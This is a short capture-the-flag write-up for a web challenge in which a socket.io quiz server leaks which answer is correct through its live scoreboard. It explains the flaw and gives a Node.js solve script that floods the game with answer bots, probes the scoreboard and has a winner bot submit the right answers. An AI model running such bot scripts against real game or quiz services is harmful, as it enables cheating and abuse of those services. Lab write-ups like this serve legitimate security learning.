Tags: kahoot web websockets socket.io 

Rating:

The challenge is a kahoot server with rigged questions. If you answer 21 questions correctly you get the flag.

There's two things that make exploitation possible. (1) The scoreboard is updated immediately when you submit an answer (2) New users can join mid-round and get the scoreboard.

To win we can:
(1) create four bots that will submit each of the answers every round.
(2) create a bot every few seconds that will check to see if the scoreboard is different and which answer is correct
(3) create a winning bot that will only submit the correct answers

Solve script:

```
var io = require("socket.io-client");

var sockets = {};
var previousScoreboard = {};
var correctAnswer = 0;

for (let i = 0; i < 4; i++) {
var s = io.connect("https://infinity.chall.pwnoh.io", { reconnect: true });
s.on("connect", function (socket) {
console.log("Connected!" + this.id);
sockets[this.id] = i;
});

s.on("gameState", function (data) {
// console.log(data);
console.log(this.id + " is sending " + sockets[this.id]);
this.emit("answer", sockets[this.id]);
});
}

var winner = io.connect("https://infinity.chall.pwnoh.io", { reconnect: true });
winner.on("flag", function (data) {
console.log(data);
exit(0);
});

winner.on("gameState", function (data) {
console.log("winner score: " + data.scoreboard[this.id]);
});

setInterval(function () {
var s = io.connect("https://infinity.chall.pwnoh.io", { reconnect: true });

s.on("gameState", function (data) {
// console.log(data.scoreboard, previousScoreboard);
// console.log(sockets);

for (const sid in sockets) {
if (data.scoreboard[sid] > previousScoreboard[sid]) {
console.log(data.questionIndex + " answer is " + sockets[sid]);
correctAnswer = sockets[sid];

winner.emit("answer", correctAnswer);
}
}

// console.log(this.id + " is sending " + sockets[this.id]);
// this.emit("answer", sockets[this.id]);
previousScoreboard = data.scoreboard;
this.close();
});
```

Original writeup (https://youtu.be/I-zBSHp9qOc?si=XUaHMycmP2cKfFv0&t=2449).